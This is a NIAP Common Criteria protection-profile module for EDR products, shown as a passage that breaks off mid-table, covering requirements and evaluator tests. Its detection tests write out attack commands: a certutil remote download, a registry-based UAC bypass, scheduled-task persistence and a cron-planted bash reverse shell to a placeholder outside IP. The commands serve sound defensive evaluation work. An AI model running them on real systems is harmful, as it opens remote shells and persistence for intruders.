PP-Module for Endpoint Detection And Response (EDR)
Version: 2.0
2026-01-13
National Information Assurance Partnership
Revision History
Version Date Comment
1.0 2020-10-23 First version released
2.0 2026-01-13 CC:2022 conversion
Contents
1 Introduction
1.1 Overview
1.2 Terms
1.2.1 Common Criteria Terms
1.2.2 Technical Terms
1.3 Compliant Targets of Evaluation
1.3.1 TOE Boundary
1.3.2 TOE Platform
1.4 Use Cases
2 Conformance Claims
3 Security Problem Definition
3.1 Threats
3.2 Assumptions
3.3 Organizational Security Policies
4 Security Objectives
4.1 Security Objectives for the Operational Environment
4.2 Security Objectives Rationale
5 Security Requirements
5.1 Protection Profile for Application Software Security Functional Requirements Direction
5.1.1 Modified SFRs
5.2 TOE Security Functional Requirements
5.2.1 Auditable Events for Mandatory SFRs
5.2.2 Security Audit (FAU)
5.2.3 Identification and Authentication (FIA)
5.2.4 Security Management (FMT)
5.2.5 Protection of the TSF (FPT)
5.2.6 Trusted Path/Channels (FTP)
5.3 TOE Security Functional Requirements Rationale
6 Consistency Rationale
6.1 Protection Profile for Application Software
6.1.1 Consistency of TOE Type
6.1.2 Consistency of Security Problem Definition
6.1.3 Consistency of OE Objectives
6.1.4 Consistency of Requirements
Appendix A - Optional SFRs
A.1 Strictly Optional Requirements
A.2 Objective Requirements
A.2.1 Auditable Events for Objective SFRs
A.2.2 Security Management (FMT)
A.3 Implementation-dependent Requirements
Appendix B - Selection-based Requirements
Appendix C - Extended Component Definitions
C.1 Extended Components Table
C.2 Extended Component Definitions
C.2.1 Identification and Authentication (FIA)
C.2.1.1 FIA_AUT_EXT Dashboard Authentication Mechanisms
C.2.1.2 FIA_PWD_EXT Password Authentication
C.2.2 Security Audit (FAU)
C.2.2.1 FAU_ALT_EXT Server Alerts
C.2.2.2 FAU_COL_EXT Collected Endpoint Data
C.2.3 Security Management (FMT)
C.2.3.1 FMT_SRF_EXT Specification of Remediation Functions
C.2.3.2 FMT_TRM_EXT Trusted Remediation Functions
Appendix D - Implicitly Satisfied Requirements
Appendix E - Acronyms
Appendix F - Bibliography
1 Introduction
1.1 Overview
The scope of this PP-Module is to describe the security functionality of an Endpoint Detection and Response (EDR) system in terms of
[CC] and to define functional and assurance requirements for such products. This PP-Module is intended for use with the following Base-
PPs:
Protection Profile for Application Software [AppPP], Version 2.0.
This Base-PP is valid because an EDR is deployed as a software application on a general-purpose operating system.
1.2 Terms
The following sections list Common Criteria and technology terms used in this document.
1.2.1 Common Criteria Terms
Assurance Grounds for confidence that a TOE meets the SFRs [CC].
Base Protection Profile
(Base-PP)
Protection Profile used as a basis to build a PP-Configuration.
Collaborative Protection
Profile (cPP)
A Protection Profile developed by international technical communities and approved by multiple schemes.
Common Criteria (CC) Common Criteria for Information Technology Security Evaluation (International Standard ISO/IEC 15408).
Common Criteria Testing
Laboratory
Within the context of the Common Criteria Evaluation and Validation Scheme (CCEVS), an IT security
evaluation facility accredited by the National Voluntary Laboratory Accreditation Program (NVLAP) and
approved by the NIAP Validation Body to conduct Common Criteria-based evaluations.
Common Evaluation
Methodology (CEM)
Common Evaluation Methodology for Information Technology Security Evaluation.
Direct Rationale A type of Protection Profile, PP-Module, or Security Target in which the security problem definition (SPD)
elements are mapped directly to the SFRs and possibly to the security objectives for the operational
environment. There are no security objectives for the TOE.
Distributed TOE A TOE composed of multiple components operating as a logical whole.
Extended Package (EP) A deprecated document form for collecting SFRs that implement a particular protocol, technology, or
functionality. See Functional Packages.
Functional Package (FP) A document that collects SFRs for a particular protocol, technology, or functionality.
Operational Environment
(OE)
Hardware and software that are outside the TOE boundary that support the TOE functionality and security
policy.
Protection Profile (PP) An implementation-independent set of security requirements for a category of products.
Protection Profile
Configuration (PP-
Configuration)
A comprehensive set of security requirements for a product type that consists of at least one Base-PP and at
least one PP-Module.
Protection Profile Module
(PP-Module)
An implementation-independent statement of security needs for a TOE type complementary to one or more
Base-PPs.
Security Assurance
Requirement (SAR)
A requirement to assure the security of the TOE.
Security Functional
Requirement (SFR)
A requirement for security enforcement by the TOE.
Security Target (ST) A set of implementation-dependent security requirements for a specific product.
Target of Evaluation
(TOE)
The product under evaluation.
TOE Security
Functionality (TSF)
The security functionality of the product under evaluation.
TOE Summary
Specification (TSS)
A description of how a TOE satisfies the SFRs in an ST.
1.2.2 Technical Terms
Alert An event or notification on the management dashboard that highlights potentially unauthorized activity.
Endpoint A computing device that runs a general purpose OS, a mobile device OS, or network device OS. Endpoints can
include desktops, servers, and mobile devices.
Endpoint Detection
and Response (EDR)
Server software that analyzes collected EDR Host Agent data for detecting, investigating, and remediating
unauthorized activities on endpoints. The terms TOE and EDR are interchangeable in this document.
Endpoint Detection
and Response System
The EDR server and the Host Agents they operate with.
Enroll The act of registering an HA endpoint with the EDR.
Host Agent Complementary software that executes on endpoints to collect data about the endpoint and executes commands
sent to the endpoint from an Enterprise Security Management (ESM) server or service. An example command
sent to an endpoint could be to enforce a policy from an ESM, to collect some files, or to run an OS command.
Management
Dashboard
A management interface for the configuration of EDR policy, visualization of collected endpoint alert data, and
issuing of remediation commands.
Potentially
Unauthorized Activity
This refers to the set of activities detected by the TOE, specific items detected may be unique to the TOE
SOC Analyst Security Operations Center (SOC) Analyst is typically the person responsible for reviewing potentially
unauthorized activities via alerts and performing remediation and clean up.
1.3 Compliant Targets of Evaluation
An EDR is enterprise management software that collects endpoint host data to detect potentially unauthorized activity on endpoints and to
enable threat hunting and other incident response actions to remediate malicious behaviors. These requirements cover basic security
characteristics and behaviors for EDR products; the platform on which the EDR runs may be a physical or virtual Operating System (OS),
and on-premises or in a cloud environment.
EDR products rely on additional software running on the endpoint, called the Host Agent, to communicate commands or policy changes and
to receive endpoint host data. Security requirements for the Host Agent are addressed in the separate PP-Module. Evaluation of an EDR
system will require evaluations of different system components consisting of EDR and . Each evaluation must satisfy the requirements in
both the EDR and HA in addition to its Base-PP Application Software. Evaluation of an EDR system will require evaluation of different
system components consisting of one EDR and at least one Host Agent. Therefore, the evaluation must claim conformance to a PP-
Configuration that includes the PP-Module for Endpoint Detection and Response (EDR) and the PP-Module for Host Agent.
There are two primary architectural categories addressed by requirements in this PP-Module, as seen in Figure 1.
Endpoints communicate over the Internet to an EDR hosted by a cloud service provider (Software as a Service).
Endpoints communicate with an on-premises EDR in a hub and spoke network model.
Figure 1: Primary EDR Architectures
1.3.1 TOE Boundary
The TOE boundary for the EDR encompasses all the software from the TOE vendor that represents the server or enterprise management
side of the EDR system. This will typically, but not always, be software running behind a web application or dashboard, and possibly with
other software services running to send and receive data with a Host Agent. The EDR may also make use of a database to store collected
and analyzed data. Any database software itself is outside the scope of the TOE, as is any web server software used to serve a web
application or dashboard, and the underlying operating system or cloud platform. The figure below shows EDR (right) communicating with
its Host Agent (left) over an untrusted network.
The requirements for the Host Agent are not covered in this PP-Module, however it is expected that an ESM system will evaluate against a
PP-Configuration that includes both the EDR PP-Module and the PP-Module.
Figure 2: EDR and Host Agent Communications
1.3.2 TOE Platform
The TOE platform, which consists of the OS or Cloud platform on which the EDR software executes, is outside the scope of evaluation.
However, the security of the EDR relies upon it.
Any communications with trusted remote file reputation or threat intelligence services is relevant to overall EDR system security but is also
outside the scope of evaluation.
1.4 Use Cases
Requirements in this PP-Module are designed to address the security problem for the following use cases. An EDR's functionality may be
extended by add-ons, plug-ins, threat feeds, or other reputation services. These are out of scope of this PP-Module.
[USE CASE 1] Detection of Potential Unauthorized Activity
The detection of potentially unauthorized activity, software, or users is enabled by the collection of host-based endpoint data to a
central EDR where the data is analyzed.
[USE CASE 2] Remediation of Malicious Activity
The ability to initiate remediation commands to attempt a clean up of detected malicious activity is a key use case of EDR.
[USE CASE 3] Discovery
The capability to effectively browse, query, and export aggregated host-based endpoint data enables a SOC analyst to discover
adversaries in post-compromise scenarios.
2 Conformance Claims
Conformance Statement
An ST must claim exact conformance to this PP-Module.
The evaluation methods used for evaluating the TOE are a combination of the workunits defined in [CEM] as well as the Evaluation
Activities for ensuring that individual SFRs and SARs have a sufficient level of supporting evidence in the Security Target and
guidance documentation and have been sufficiently tested by the laboratory as part of completing ATE_IND.1. Any functional
packages this PP claims similarly contain their own Evaluation Activities that are used in this same manner.
CC Conformance Claims
This PP-Module is conformant to Part 2 (extended) and Part 3 (extended) of Common Criteria CC:2022, Revision 1.
PP Claim
This PP-Module does not claim conformance to any Protection Profile.
The following PPs and PP-Modules are allowed to be specified in a PP-Configuration with this PP-Module:
Protection Profile for Application Software, Version 2.0
PP-Module for Enterprise-Management (EM), Version 2.0
PP-Module for Host Agent (HA), Version 2.0
Package Claim
This PP-Module is Functional Package for SSH, Version 2.0 conformant.
This PP-Module is Functional Package for TLS, Version 2.1 conformant.
This PP-Module is Functional Package for X.509, Version 1.0 conformant.
This PP-Module does not conform to any assurance packages.
The functional packages to which the PP conforms may include SFRs that are not mandatory to claim for the sake of conformance.
An ST that claims one or more of these functional packages may include any non-mandatory SFRs that are appropriate to claim based
on the capabilities of the TSF and on any triggers for their inclusion based inherently on the SFR selections made.
3 Security Problem Definition
The security problem is described in terms of the threats that the EDR is expected to address, assumptions about the OE, and any
organizational security policies that the EDR is expected to enforce. These extend any threats, assumptions, and organizational security
policies defined by the Base-PP.
3.1 Threats
T.CREDENTIAL_REUSE
An attacker is positioned on a communications channel or elsewhere on the network infrastructure. Attackers may guess or harvest
legitimate credentials from the EDR, endpoints, or insecure network activity.
T.MISCONFIGURATION
An attacker is a legitimate privileged user with access to change the configuration of the EDR's security capabilities or is not a
legitimate privileged user trying to access without proper authorization. Attackers may attempt to hide malicious activities from other
privileged users.
3.2 Assumptions
These assumptions are made on the Operational Environment (OE) in order to be able to ensure that the security functionality specified in
the PP-Module can be provided by the TOE. If the TOE is placed in an OE that does not meet these assumptions, the TOE may no longer be
able to provide all of its security functionality.
A.CONNECTIVITY
The TSF relies on network connectivity to carry out its management activities. The OE will provide reliable network connectivity for
the EDR to operate. The EDR will robustly handle occasional instances when connectivity is unavailable or unreliable.
3.3 Organizational Security Policies
An organization deploying the TOE is expected to satisfy the organizational security policy listed below in addition to all organizational
security policies defined by the claimed Base-PP.
This document does not define any additional OSPs.
4 Security Objectives
4.1 Security Objectives for the Operational Environment
The OE of the TOE implements technical and procedural measures to assist the TOE in correctly providing its security functionality (which
is defined by the security objectives for the TOE). The security objectives for the OE consist of a set of statements describing the goals that
the OE should achieve. This section defines the security objectives that are to be addressed by the IT domain or by non-technical or
procedural means. The assumptions identified in Section 3 are incorporated as security objectives for the environment. The following
security objectives for the Operational Environment assist the EDR in correctly providing its security functionality. These track with the
assumptions about the environment.
OE.RELIABLE_TRANSIT
Wired or wireless network traffic between the EDR and host agents will provide reasonably reliable connectivity.
4.2 Security Objectives Rationale
This section describes how the assumptions and organizational security policies map to operational environment security objectives.
Table 1: Security Objectives Rationale
Assumption or OSP Security Objectives Rationale
A.CONNECTIVITY OE.RELIABLE_​
TRANSIT
The OE objective OE.RELIABLE_TRANSIT is realized through
A.CONNECTIVITY.
5 Security Requirements
This chapter describes the security requirements which have to be fulfilled by the product under evaluation. Those requirements comprise
functional components from Part 2 and assurance components from Part 3 of [CC]. The following conventions are used for the completion
of operations:
Refinement operation (denoted by bold text or strikethrough text): Is used to add details to a requirement or to remove part of the
requirement that is made irrelevant through the completion of another operation, and thus further restricts a requirement.
Selection (denoted by italicized text): Is used to select one or more options provided by the [CC] in stating a requirement.
Assignment operation (denoted by italicized text): Is used to assign a specific value to an unspecified parameter, such as the length of
a password. Showing the value in square brackets indicates assignment.
Iteration operation: Is indicated by appending the SFR name with a slash and unique identifier suggesting the purpose of the
operation, e.g. "/EXAMPLE1."
5.1 Protection Profile for Application Software Security Functional Requirements Direction
In a PP-Configuration that includes [AppPP], the TOE is expected to rely on some of the security functions implemented by the application
as a whole and evaluated against the Base-PP. The SFRs listed in this section are defined in the Base-PP and relevant to the secure operation
of the EDR. This section describes any modifications that the ST author must make to the Base-PP SFRs to satisfy the required EDR
functionality.
5.1.1 Modified SFRs
This PP-Module does not modify any SFRs defined by the App PP.
5.2 TOE Security Functional Requirements
The following section describes the SFRs that must be satisfied by any TOE that claims conformance to this PP-Module. These SFRs must
be claimed regardless of which PP-Configuration is used to define the TOE.
5.2.1 Auditable Events for Mandatory SFRs
Table 2: Auditable Events for Mandatory Requirements
Requirement Auditable Events Additional Audit Record Contents
FAU_ALT_EXT.1 No events specified N/A
FAU_COL_EXT.1 No events specified N/A
FAU_GEN.1/EDR No events specified N/A
FIA_AUT_EXT.1 No events specified N/A
FIA_PWD_EXT.1 No events specified N/A
FMT_SMF.1/ENDPOINT No events specified N/A
FMT_SMF.1/HOST No events specified N/A
FMT_SMR.1 No events specified N/A
FMT_SRF_EXT.1 No events specified N/A
FPT_ITT.1 No events specified N/A
FTP_TRP.1 No events specified N/A
5.2.2 Security Audit (FAU)
FAU_ALT_EXT.1 Server Alerts
FAU_ALT_EXT.1.1
The TSF shall alert authorized users on a management dashboard in the event of: detection of
potentially unauthorized activity on enrolled endpoints.
Application Note: The intent of this requirement is to specify the minimum set of management
dashboard alert capabilities the EDR must be capable of displaying to an authorized user.
Examples of detection of potentially unauthorized activity on enrolled endpoints include; anomalous
activity, escalation of privileges, and lateral movement.
FAU_ALT_EXT.1.2
The TSF shall provide a visualization of detected alerts of potentially unauthorized incidents, and shall
include:
a. An initial incident severity and [selection: assessment, categorization, score, ranking],
b. An incident timeline.
Application Note: The intent of this requirement is to specify the minimum set of incident
visualizations the EDR must be capable of displaying to an authorized user. Visualization is broadly
defined as the display of incident data to an authorized user on the management dashboard. The
visualization is not required to be interactive.
FAU_ALT_EXT.1.3
The TSF shall provide a data export capability for selected alerts with a specified standards-based
format of [selection:
Structured Threat Information expression (STIX)
Cyber Observable expression (CybOX)
Incident Object Description Exchange Format (IODEF)
Common Event Format (CEF)
Log Event Extended Format (LEEF)
].
Application Note: The intent of this requirement is to specify a selection of standards-based formats
the EDR must provide for the export of selected alerts, at least one must be selected.
Evaluation Activities
FAU_ALT_EXT.1
TSS
The evaluator shall examine the TSS to ensure that it describes how alerts for changes in potentially unauthorized
activities on enrolled endpoints are detected and displayed. The evaluator shall examine the TSS to ensure it contains the
list of unauthorized activity types categorized or labeled by the EDR upon detection.
The evaluator shall examine the TSS to ensure that it describes how alert visualizations are displayed and what content is
included.
The evaluator shall examine the TSS to ensure that it describes what formats are supported.
Guidance
The evaluator shall review operational guidance to identify a list of unauthorized activity types categorized or labeled by
the EDR upon detection.
The evaluator shall ensure guidance includes any needed configuration information for displaying alerts in relation to
changes in Host Agent enrollment status and potentially unauthorized activities.
The evaluator shall review the operational guidance to ensure that it contains documentation on using the management
dashboard to visualize and view alerts.
The evaluator shall examine the guidance documentation to ensure it describes the formats supported and the methods of
data export being claimed (e.g., written to a file on the underlying platform, communication over a TOE interface to
another product, etc.). If communication over a TOE interface to another product (other than the underlying platform) is
required to export the data, the evaluator shall verify the guidance documentation describes what products or product
types are supported, how to establish communication with those products, any requirements on those products (particular
communication protocol, version of the protocol required, etc.), and the configuration of the TOE needed to communicate
with those products.
Tests
The evaluator shall perform the following tests:
For Windows, the evaluator shall test the EDR's ability to detect anomalous activity by performing the following
subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were
generated in the management dashboard:
Test FAU_ALT_EXT.1:1: The evaluator shall open a Windows command prompt as a user and run the command cmd
/c certutil -urlcache -split -f <remote file> <download directory>, where the remote file is a valid file
path to an accessible, remotely stored executable, and the download directory is a valid directory path writable by
the current local user.
Test FAU_ALT_EXT.1:2: The evaluator shall open a Windows command prompt as a user and run the command
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "<local executable>" /f,
where the local executable is a valid file path to a readable, local executable. The evaluator will then run the
command cmd.exe /c eventvwr.msc in the same command prompt window.
Test FAU_ALT_EXT.1:3: The evaluator shall open a Windows command prompt as a user and run the command
SCHTASKS /Create /SC ONCE /TN spawn /TR <local executable>" /ST <time>, where the local executable is
a valid file path to a readable, local executable, and time is a start time that occurs within minutes of the task being
created.
For Linux, the evaluator shall test the EDR's ability to detect anomalous activity by performing the following
subtests based on the platform of the enrolled Host Agent's system, verifying for each that, corresponding alerts were
generated in the management dashboard:
Test FAU_ALT_EXT.1:4: The evaluator shall open a terminal and run the command scp <remote user>@<remote
host>:<remote path> <download directory>, where the remote user is a valid user on remote host, remote path
is a valid path to a remotely stored executable, and the download directory is a valid directory path writable by the
current local user. The remote user's password shall be provided when prompted.
Test FAU_ALT_EXT.1:5: The evaluator shall open a terminal and run the command echo "bash -i >&
/dev/tcp/<outside IP>/5050 0>&1 1 &" > /etc/cron.hourly/persist, where the outside IP is a valid external
address.
For all platforms:
Test FAU_ALT_EXT.1:6: The evaluator shall review an alert on the management dashboard and verify that the alert
contains a severity field and the fields specified in the ST. The evaluator will open or view the alert and verify that a
timeline of events is available for review. The timeline shall show a progression of events over time.
Test FAU_ALT_EXT.1:7: The evaluator shall pick an alert on the management dashboard and export the alert in
every format specified in the ST. The evaluator shall review the operational guidance and the selection from the
requirement and verify that export options exist for all the declared formats in the selection. After exporting one alert
for each possible format the evaluator shall review the file contents of the exported alert and verify it is the correct
format for the selected export option (for example, an export of the IODEF type must contain 'IODEF-Document' in
the first element of the exported file).
FAU_COL_EXT.1 Collected Endpoint Data
FAU_COL_EXT.1.1
The TSF shall collect the following minimum set of endpoint data from a Host Agent:
a. Operating System (OS) version, architecture, and IP Address,
b. Privileged and unprivileged endpoint account login activity,
c. Process creation,
d. Libraries and modules loaded by processes,
e. Filenames and [selection: [assignment: other metadata], no other metadata] of files created and
[selection: [assignment: other activities performed to files], no other activities] on persistent
storage,
f. [selection: [assignment: other host data], no other host data].
Application Note: The intent of this requirement is to specify the minimum set of endpoint data that
the EDR must be capable of collecting. The assignments may be a single item or multiple items.
Evaluation Activities
FAU_COL_EXT.1
TSS
The evaluator shall verify that all supported endpoint event data types are described.
Guidance
The evaluator shall review the operational guidance and ensure that it lists all of the collectable types of endpoint event
data.
Tests
The evaluator shall perform the following tests:
Test FAU_COL_EXT.1:1: The evaluator shall verify the OS version, architecture, and IP address of a system
managed by a Host Agent against the data reported to the EDR.
Test FAU_COL_EXT.1:2: The evaluator shall log in to a system managed by a Host Agent with two separate
accounts and verify that the activity is accurately reported to the EDR.
Test FAU_COL_EXT.1:3: The evaluator shall run a known user application provided on the platform OS and verify
that subsequent process creation and module loading is accurately reported to the EDR.
Test FAU_COL_EXT.1:4:
Test FAU_COL_EXT.1:4.1: The evaluator shall create a new, non-empty file in persistent storage and verify
that the activity is accurately reported to the EDR based on filename and any other metadata indicated in
bullet e.
Test FAU_COL_EXT.1:4.2: (Conditional): If other activities performed on files are indicated in bullet e, the
evaluator shall perform them on a non-empty file within persistent storage and verify that the activity is
accurately reported to the EDR based on filename and any other metadata indicated in bullet e.
Test FAU_COL_EXT.1:5: (Conditional): If other host data is indicated in the assignment in bullet f, the evaluator
shall perform an action that causes an event to occur for all items in the assignment and verify the activity is
reported to the EDR.
FAU_GEN.1/EDR Audit Data Generation
FAU_GEN.1.1/EDR
The TSF shall be able to generate audit data of the following auditable events:
a. Start-up and shutdown of the audit functions;
b. All auditable events for the [not specified] level of audit;
[
a. EDR management dashboard log in activity;
b. Remediation commands sent to a Host Agent, affected endpoint, or network devices;
c. EDR configuration changes;
d. Change in Host Agent enrollment status;
e. [assignment: Other auditable events]
].
Application Note: The intent of this requirement is to specify the minimum set of audit data generated
about actions on the EDR. Changes made to configuration files at the OS level will be audited by the
OS and are not covered by this requirement.
FAU_GEN.1.2/EDR
The TSF shall record within the audit data at least the following information:
a. date and time of the event,
b. type of event,
c. subject identity (if applicable),
d. and the outcome (success or failure) of the event,
e. For each auditable event type, based on the auditable event definitions of the functional
components included in the PP, PP-Module, functional package, or ST, [assignment: other audit
relevant information].
Application Note: This requirement outlines the information to be included in audit data. All audits
must contain at least the information mentioned in FAU_GEN.1.2/EDR, but may contain more
information which can be assigned.
Evaluation Activities
FAU_GEN.1/EDR
TSS
The evaluator shall check the TSS and ensure that it lists all of the auditable events claimed in the SFR. The evaluator shall
check to make sure that every audit event type specified by the SFR is described in the TSS.
The evaluator shall check the TSS and ensure that it provides a format for audit data. Each audit record format type must
be covered, along with a brief description of each field.
Guidance
The evaluator shall check the administrative guide and ensure that it lists all of the auditable events claimed in the SFR.
The evaluator shall check to make sure that every audit event type mandated by the SFR is described.
The evaluator shall examine the administrative guide and make a determination of which commands are related to the
configuration (including enabling or disabling) of the mechanisms implemented in the EDR that are necessary to enforce
the requirements specified in the PP-Module. The evaluator shall document the methodology or approach taken while
determining which actions in the administrative guide are security relevant with respect to this PP-Module. The evaluator
may perform this activity as part of the activities associated with ensuring the AGD_OPE guidance satisfies the
requirements.
The evaluator shall check the administrative guide and ensure that it provides a format for audit data. Each audit record
format type must be covered, along with a brief description of each field. The evaluator shall check to make sure that the
description of the fields contains the information required in FAU_GEN.1.2/EDR.
The evaluator shall review operational guidance to ensure that it contains documentation on enrolling and unenrolling
Host Agents from the EDR.
Tests
The evaluator shall perform the following tests:
Test FAU_GEN.1/EDR:1: The evaluator shall login to the EDR management dashboard and verify that audit log
data describing the activity is recorded.
Test FAU_GEN.1/EDR:2: The evaluator shall issue a valid remediation command provided by the EDR to a Host
Agent and verify that audit log data describing the activity is recorded on the EDR management dashboard.
Test FAU_GEN.1/EDR:3: The evaluator shall change a non-destructive EDR configuration option within the EDR
management dashboard, change it back to the original setting, and verify that the audit log data describing the
activity is recorded.
Test FAU_GEN.1/EDR:4: The evaluator shall follow guidance to unenroll a Host Agent from the EDR and verify that
the unenrollment action is recorded in an auditable and timestamped activity log.
Test FAU_GEN.1/EDR:5: The evaluator shall follow guidance to enroll a Host Agent to the EDR and verify that the
enrollment action is recorded in an auditable and timestamped activity log.
Test FAU_GEN.1/EDR:6: The evaluator shall perform the action to generate all other auditable events listed in the
assignment and verify the activity is recorded.
When verifying the test results from FAU_GEN.1.1/EDR, the evaluator shall ensure the audit data generated during testing
match the format specified in the administrative guide, and that the fields in each audit record have the proper entries.
Note that the testing here can be accomplished in conjunction with the testing of the security mechanisms directly. For
example, testing performed to ensure that the administrative guidance provided is correct verifies that AGD_OPE.1 is
satisfied and should address the invocation of the administrative actions that are needed to verify the audit data are
generated as expected.
5.2.3 Identification and Authentication (FIA)
FIA_AUT_EXT.1 Dashboard Authentication Mechanisms
FIA_AUT_EXT.1.1
The TSF shall [selection:
leverage the platform for authentication
provide authentication based on username/password and [selection:
authentication with external smart card and PIN
no other factors
]
] to support logins to any management dashboard or API.
Application Note: The selection specifies if Smartcards are also supported, one selection must be
made.
Evaluation Activities
FIA_AUT_EXT.1
TSS
The evaluator shall examine the TSS to ensure that it describes how user authentication is performed. The evaluator shall
verify that the authorization methods listed in the TSS are specified and included in the requirements in the ST.
Guidance
The evaluator shall review the operational guidance to ensure that it contains documentation on configuring any supported
authentication mechanisms and any support for multifactor authentication.
Tests
Test FIA_AUT_EXT.1:1: Conditional: If "provide authentication..." is selected, the evaluator shall create an account
with a username and password, verifying that login authentication is case-sensitive. If additional factors are
provided, each factor shall be tested for login access. The evaluator shall verify that login access is granted for
correct credentials and denied in cases of incorrect credentials across available factors.
Test FIA_AUT_EXT.1:2: Conditional: If "leverage the platform" is selected, the evaluator shall create an account
following the platform rules. The evaluator shall verify that login access is granted for correct credentials and
denied in cases of incorrect credentials across available factors.
FIA_PWD_EXT.1 Password Authentication
FIA_PWD_EXT.1.1
The TSF shall support the following for the Password Authentication Factor:
1. Passwords shall be able to be composed of any combination of [selection: upper and lower case
letters, [assignment: a character set of at least 52 characters]], numbers, and special characters:
[selection: "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", [assignment: other characters]],
2. Password length up to [assignment: an integer greater than or equal to 64] characters shall be
supported.
Application Note: The ST author selects the character set: either the upper and lower case Basic Latin
letters or another assigned character set containing at least 52 characters. The assigned character set
must be well defined: either according to an international encoding standard (such as Unicode) or
defined in the assignment by the ST author. The ST author also selects the special characters that are
supported by the TOE; they may optionally list additional special characters supported using the
assignment.
Evaluation Activities
FIA_PWD_EXT.1
TSS
The evaluator shall verify the TSS lists the supported character set for the composition of administrator passwords. The
evaluator shall verify that the TSS lists a password length value that is greater than or equal to 64.
Guidance
The evaluator shall review the operational guidance to ensure that it contains documentation on default password policy.
Tests
The evaluator shall perform the following tests:
Test FIA_PWD_EXT.1:1: The evaluator shall verify that passwords up to 64 characters are supported.
Test FIA_PWD_EXT.1:2: The evaluator shall verify that password composition rules present in operational guidance
are enforced. While the evaluator is not required (nor is it feasible) to test all possible composition rules, the
evaluator shall ensure that all characters are supported, and rule characteristics listed in the requirement are
enforced.
5.2.4 Security Management (FMT)
FMT_SMF.1/ENDPOINT Specification of Management Functions (EDR Management of EDR)
FMT_SMF.1.1/ENDPOINT
The TSF shall be capable of performing the following management functions:
Table 3: Management Functions
[Status Markers:
M - Mandatory
O - Optional or Objective
- - Not Applicable
# Management Function Administrator SOC
Analyst
Read-
Only
User
1 Configure the amount of time to retain data collected
by the EDR [assignment: time frame to retain data]
M O -
2 Obtain or display the connectivity status of a Host
Agent
3 Define a configurable list of [selection: filenames,
folders, file hashes, [assignment: other factors]]
4 Configure visual suppression of incident alerts based
on a configurable list of [selection: filenames, folders,
file hashes, [assignment: other factors]]
].
Application Note: This requirement captures all the configuration functionality the TSF provides the
administrator to configure the EDR. Both configurable lists mentioned in the table, above, are intended
to match one another.
Evaluation Activities
FMT_SMF.1/ENDPOINT
TSS
The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify
the list matches the chart in the requirement.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the
management functions.
Tests
The evaluator shall perform the below tests with each role, verifying each role is denied or can complete the action below
as specified by the chart in the SFR:
Test FMT_SMF.1/ENDPOINT:1: The evaluator shall configure the amount of time to retain collected EDR data to a
time frame in which existing data will be made unavailable and verify that the data is no longer accessible through
the EDR management dashboard.
Test FMT_SMF.1/ENDPOINT:2: The evaluator shall logically or physically inhibit the network communications
between a managed endpoint system and the EDR server and verify that the inhibited or halted connectivity status of
the Host Agent is recognized on the EDR management dashboard.
Test FMT_SMF.1/ENDPOINT:3: The evaluator shall use a file that triggers an incident alert to test the suppression
of such alerts for that specific file. Upon confirming the creation of incident alerts on access to the file, the evaluator
shall configure suppression of the alert for each selected suppression method (e.g., filenames) and verify that
incident alerts are categorized as suppressed, hidden, unavailable, never created, or similarly categorized. No
specific category naming is required, but it should follow the general intent of the examples provided.
FMT_SMF.1/HOST Specification of Management Functions (EDR Management of Host Agent)
FMT_SMF.1.1/HOST
The TSF shall be capable of performing the following management functions that control behavior of
the Host Agent:
Table 4: Management Functions
[Status Markers:
M - Mandatory
O - Optional or Objective
- - Not Applicable
# Management Function Administrator SOC
Analyst
Read-
Only
User
5 Configure the frequency for sending Host Agent data
to the EDR [assignment: list of configurable
frequencies]
6 Assign a label or tag to categorize or group
individual endpoint systems
].
M O O
O M -
O M -
M O -
M O -
Application Note: This requirement captures all the configuration functionality the EDR provides the
administrator to configure the EDR Host Agents. The frequency for sending data to the EDR can be
specified as a time value, but does not have to be. A value like Aggressive, Normal, Low Bandwidth is
a measure of control of frequency and meets the requirement. For EDR products, some management is
performed through a product’s configuration files stored at the OS level. In these cases, the OS
administrator can be considered the administrator of the TOE.
Evaluation Activities
FMT_SMF.1/HOST
TSS
The evaluator shall verify the TSS contains a list of roles and what functions they can perform. The evaluator shall verify
the list matches the chart in the requirement.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the
management functions.
Tests
The evaluator shall perform the below tests:
Test FMT_SMF.1/HOST:1: The evaluator shall modify the time frame for sending Host Agent data to the EDR and
verify that an affected Host Agent is sending data at the intended interval.
Test FMT_SMF.1/HOST:2: The evaluator shall tag or categorize a group of individual endpoint systems and verify
that the tag or categorization persists within the EDR management dashboard for other users.
Test FMT_SMF.1/HOST:3: The evaluator shall attempt each function with each role and verify access conforms with
the chart in the requirement. If no interface exists for a particular role to perform a function, that is sufficient to test
that the role is not capable of performing the given function.
FMT_SMR.1 Security Management Roles
FMT_SMR.1.1
The TSF shall maintain the roles [administrator, SOC analyst, read-only user].
FMT_SMR.1.2
The TSF shall be able to associate users with roles.
Application Note: The EDR will be configured, maintained, and used by different user roles. At a
minimum, one administrative role shall be supported, one SOC analyst who can issue remediation
commands to host agents, and one read-only user who can only view data.
The user accounts need not be named literally, but they must have the implication of such roles.
CC Part 2 specifies FIA_UID.1 as a dependency of this requirement because the TSF must have some
way of identifying users so that they can be associated with management roles. This dependency is
implicitly addressed through FIA_AUT_EXT.1, which specifies an alternative method of user
identification.
Evaluation Activities
FMT_SMR.1
TSS
The evaluator shall examine the TSS to verify that it describes the roles and the powers granted to and limitations of the
role.
Guidance
The evaluator shall review the operational guidance to ensure that it contains instructions for administering the EDR,
which user roles are supported, and which permissions each role has.
Tests
Test FMT_SMR.1:1: The evaluator shall verify that the roles of administrator, SOC analyst, and read-only user are
available, creating individual accounts with each role assigned.
Test FMT_SMR.1:2: The evaluator shall verify that non-administrator roles are not able to modify the roles of their
own account or those of others.
Test FMT_SMR.1:3: In the course of performing the testing activities for the evaluation, the evaluator shall use all
supported interfaces, although it is not necessary to repeat each test involving an administrative action with each
interface. The evaluator shall ensure, however, that each supported method of administering the EDR that conforms
to the requirements of this PP be tested; for instance, if the EDR can be administered through a local hardware
interface or TLS/HTTPS then both methods of administration must be exercised during the execution of the test
activities.
Test FMT_SMR.1:4: The evaluator shall attempt each function with each role and verify access conforms with the
chart in the requirement.
FMT_SRF_EXT.1 Specification of Remediation Functions
FMT_SRF_EXT.1.1
The TSF shall be capable of performing the following remediation functions:
Table 5: Management Functions
[Status Markers:
M - Mandatory
O - Optional or Objective
